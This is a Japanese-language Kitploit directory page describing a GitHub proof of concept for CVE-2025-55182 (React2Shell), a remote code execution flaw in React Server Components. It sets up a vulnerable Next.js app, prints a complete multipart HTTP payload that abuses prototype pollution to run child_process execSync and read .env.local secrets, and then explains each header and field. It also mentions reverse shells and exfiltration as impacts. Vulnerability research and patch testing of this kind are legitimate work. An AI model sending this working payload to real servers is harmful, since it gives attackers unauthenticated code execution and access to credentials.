Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
React2ShellPoC — このリポジトリは、CVE-2025-55182 (React2Shell) の概念実証を提供します。これは、React Server Components におけるリモートコード実行の脆弱性です。このエクスプロイトの仕組み、ペイロード、影響を含めて説明しています。 | Kitploit
ツール/GitHubGitHub/git0xlai/react2shellpoc
脆弱性分析エクスプロイトウェブアプリケーション悪用論文と研究学習と教育ペイロード開発
GitHubgit0xlai/react2shellpoc

React2ShellPoC

このリポジトリは、CVE-2025-55182 (React2Shell) の概念実証を提供します。これは、React Server Components におけるリモートコード実行の脆弱性です。このエクスプロイトの仕組み、ペイロード、影響を含めて説明しています。

リポジトリを見る
7ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-55182 (React2Shell) の理解: React Server Componentsを介したリモートコード実行の詳細な解説

概要

CVE-2025-55182(React2Shellとしても知られる)は、React Server Componentsに影響を与える重大なリモートコード実行(RCE)脆弱性です。この欠陥により、認証されていない攻撃者が、ReactのFlightプロトコルにおける安全でないデシリアライゼーション問題を悪用して、脆弱なサーバー上で任意のコードを実行できます。

CVSSスコア10.0という評価から、この脆弱性は非常に深刻であり、即時対応が必要です。この投稿では、脆弱性の詳細、エクスプロイトの仕組みを説明し、**概念実証(PoC)**デモを提供します。さっそく見ていきましょう。

影響を受けるバージョン

以下のReact Server Componentsおよび関連パッケージのバージョンが影響を受けます:

  • React Server Components: 19.0.0, 19.1.0, 19.1.1, 19.2.0

  • Affected Packages:

    • react-server-dom-parcel

    • react-server-dom-turbopack

    • react-server-dom-webpack

ReactとReact Server Componentsとは?

React.jsは、ユーザーインターフェースを構築するための最も人気のあるJavaScriptライブラリの1つであり、特に**シングルページアプリケーション(SPA)**の文脈で使用されます。これにより、開発者は動的でインタラクティブなユーザーエクスペリエンスを作成できます。

React Server Components(RSC)は、Reactアプリの一部をクライアントではなくサーバーでレンダリングできる実験的な機能です。これにより、クライアント側で必要なJavaScriptの量が減り、特に大規模なアプリケーションでパフォーマンスが向上します。

しかし、RSCは特にサーバーとクライアント間でのデータ交換方法に新たな複雑さをもたらします。CVE-2025-55182は、RSCでサーバーとクライアント間のデータ転送に使用されるFlightプロトコルに関するそのような問題の1つを悪用します。


脆弱性

脆弱性の概要

CVE-2025-55182は、ReactのFlightプロトコルにおける安全でないデシリアライゼーションに起因します。デシリアライゼーションとは、シリアル化されたデータ(通常はJSON)をメモリ内のオブジェクトに変換するプロセスです。Reactはこのプロセスを使用して、サーバーサイドレンダリング中にサーバーとクライアント間で交換されるデータを処理します。

しかし、Reactのデシリアライゼーションの実装は安全ではありません。具体的には、Reactはオブジェクトのプロパティにアクセスするためにブラケット記法(例: moduleExports[metadata[2]])を使用しており、これにより攻撃者はJavaScriptオブジェクトのプロトタイプチェーンを操作できます。これによりプロトタイプ汚染が発生し、予期しない方法でオブジェクトのプロパティを変更できるようになり、攻撃者がデシリアライゼーションロジックを悪用できるようになります。

根本原因

脆弱性の根本は、ReactがFlightプロトコルのペイロードを処理する方法にあります。プロパティアクセスにブラケット記法を使用することで、攻撃者はプロトタイプチェーンをたどり、通常はアクセスできないはずのプロパティ(constructorなど)にアクセスできるようになります。このプロパティを操作することで、攻撃者はグローバルなFunctionコンストラクタにアクセスし、サーバー上で任意のJavaScriptコードを実行できます。

エクスプロイトの仕組み

エクスプロイトは、特別に細工されたペイロードをサーバーに送信することで動作し、Flightプロトコルのデシリアライゼーションロジックを操作します。プロトタイプ汚染と安全でないデシリアライゼーションを組み合わせることで、攻撃者はサーバーの制御を獲得し、任意のコードを実行できます。

攻撃の主要な構成要素は次のとおりです:

  1. プロトタイプ汚染: 攻撃者はオブジェクトのプロトタイプチェーンを操作して、constructorプロパティやFunctionプロパティなどの新しいプロパティを注入します。

  2. ペイロードの実行: 攻撃者がFunctionコンストラクタにアクセスすると、ファイルの読み取りやシステムコマンドの実行などの任意のJavaScriptコードを実行できます。


段階的なエクスプロイト手順

脆弱な環境のセットアップ

エクスプロイトをテストするには、脆弱なReact環境が必要です。セットアップ方法は次のとおりです:

  1. 脆弱なプロジェクトを作成する
    First, create a new Next.js project with a vulnerable version of React Server Components:
  • npx [email protected] poc-react2shell cd poc-react2shell

    または、脆弱な設定を既に含む事前構成済みのGitHubリポジトリを使用することもできます。

  • テスト環境ファイルを作成する
    プロジェクトのルートディレクトリに、APIキーなどの機密データを含む.env.localファイルを作成します。攻撃者はPoCでこのファイルを標的にします:

  • SECRET_API_KEY=XXXXXXXXXXXXXXXXXXXXXXXXXXXXX

  • 開発サーバーを起動する
    開発サーバーを実行します:

  1. npm run dev

    脆弱なサーバーは http://localhost:3000 で実行されているはずです。


エクスプロイト手順

環境が準備できたら、悪意のあるペイロードを送信してエクスプロイトをトリガーできます。ここでBurp Suiteやその他のHTTPプロキシツールが役立ちます。

  1. 悪意のあるペイロードを送信する
    Burp Suiteを開き、Repeaterタブに移動します。ターゲットURLを http://localhost:3000/ に設定し、次の悪意のあるペイロードを送信します:

  2. POST / HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0 Next-Action: x X-Nextjs-Request-Id: b5dce965 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Length: 752 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="0" { "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": { "_prefix": "var res=process.mainModule.require('child_process').execSync('cat .env.local',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_chunks": "$Q2", "_formData": { "get": "$1:constructor:constructor" } } } ------WebKitFormBoundaryx8jO2oVc6SWP3Sad

  3. 応答を分析する
    リクエストを送信した後、エクスプロイトが成功すると、サーバーは.env.localファイルの内容(または環境変数内の機密データ)で応答します。これにより、攻撃者が機密データにアクセスしたことが確認されます。 Response

悪意のあるペイロードの説明

ヘッダーの内訳

  1. Host: ターゲットサーバーを指定します(localhost:3000)。

  2. User-Agent: リクエストを行うクライアントを識別します。通常はブラウザからの文字列ですが、ここでは攻撃を難読化するために細工されている可能性があります。

  3. Next-Action: おそらくNext.jsの処理の一部であり、サーバーを混乱させたり、デシリアライゼーションプロセスと相互作用したりする可能性があります。

  4. X-Nextjs-Request-Id: Next.jsでの追跡とデバッグのための一意のリクエストID。

  5. Content-Type: マルチパートフォームデータ。JSONやファイルアップロードなどの構造化データに使用されます。

  6. Content-Length: リクエストボディの長さを示します。

マルチパートフィールド

  • Field 0: プロトタイプ汚染をトリガーするペイロードが含まれています。オブジェクトのプロトタイプを変更し、新しいthenプロパティを追加し、悪意のある_responseオブジェクトを含みます。_prefixはchild_processコマンドを実行して.env.localファイルを読み取ります。

  • Field 1: 攻撃を伝搬するためにField 0を参照します。

  • Field 2: 空の配列で、ペイロードの構造がそのまま維持されるようにします。


脆弱性の影響

CVE-2025-55182の脆弱性により、攻撃者は以下が可能になります:

  1. サーバー上で任意のコードを実行する。

  2. APIキーや設定ファイルなどの機密ファイルを読み取る。

  3. リバースシェルを確立し、サーバーの完全な制御を獲得する可能性がある。

  4. サーバーから機密データを流出させる。


結論

CVE-2025-55182(React2Shell)は、React Server Componentsにおける重大な脆弱性であり、認証されていない攻撃者が脆弱なサーバー上で任意のコードを実行できるようにします。安全でないデシリアライゼーションとプロトタイプ汚染を悪用することで、攻撃者はサーバーを完全に制御し、機密データを読み取り、悪意のあるコマンドを実行できます。

React Server Componentsを使用している場合、この脆弱性を軽減するために、最新のパッチ適用済みバージョンに更新することが重要です。入力検証や適切なデシリアライゼーション処理などのセキュリティのベストプラクティスに従うことは、同様の脆弱性を防ぐために不可欠です。

References


  • CVE-2025-55182 Details
  • Next.js-RSC-RCE-Scanner-CVE-2025-66478
  • PoC [kOaDT]
  • react2shellcve202555182

Disclaimer

この概念実証は、教育および研究目的のみを目的としています。システム所有者からの明示的な書面による同意なしに、いかなるシステムでも脆弱性を悪用またはテストしようとしないでください。許可のないテストは違法で非倫理的な可能性があります。サイバーセキュリティにおいては、常に合法的かつ責任ある実践を遵守してください。

ツールをダウンロード